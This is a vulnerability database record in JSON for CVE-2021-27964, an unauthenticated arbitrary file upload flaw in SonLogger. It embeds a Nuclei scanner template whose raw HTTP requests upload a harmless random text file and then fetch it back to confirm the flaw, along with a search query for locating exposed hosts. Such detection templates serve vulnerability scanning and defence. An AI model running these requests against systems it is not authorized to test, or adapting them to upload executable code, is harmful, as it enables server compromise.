{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-27964/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-27964/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-27964/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-27964/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-27964/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-27964"},"sightings":{"href":"/api/v1/sightings/cve-2021-27964"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-27964.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-27964\n\ninfo:\n  name: SonLogger - Arbitrary File Upload\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.\n  impact: |\n    Unauthenticated attackers can upload malicious files without extension validation, achieving remote code execution and complete server compromise.\n  remediation: |\n    Upgrade to SonLogger version 6.4.1 or later.\n  reference:\n    - https://erberkan.github.io/2021/SonLogger-vulns/\n    - https://github.com/erberkan/SonLogger-vulns\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-27964\n    cwe-id: CWE-434\n    epss-score: 0.47519\n    epss-percentile: 0.98791\n    cpe: cpe:2.3:a:sfcyazilim:sonlogger:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: sfcyazilim\n    product: sonlogger\n    fofa-query: body=\"SonLogger\"\n    max-request: 2\n  tags: cve,cve2021,sonlogger,intrusive,vkev,vuln\n\nflow: http(1) && http(2)\n\nvariables:\n  file: \"{{to_lower(rand_text_alpha(5))}}\"\n  rand: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywBBYcU9lVZ\n        X-Requested-With: XMLHttpRequest\n\n        ------WebKitFormBoundarywBBYcU9lVZ\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{file}}.txt\"\n        Content-Type: image/png\n\n        {{rand}}\n        ------WebKitFormBoundarywBBYcU9lVZ--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, 'application/json')\n          - contains(body, 'Message')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /Assets/temp/hotspot/img/{{file}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, '{{rand}}')\n        condition: and\n# digest: 4b0a00483046022100fff62174bc355109063271258f68486956df9a14788be4f3ad1b5145ebe0f20b022100804483dd47b790c8e4a54b78699a624fa6aecc0574584259e10ad2ebf48e887c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-27964"}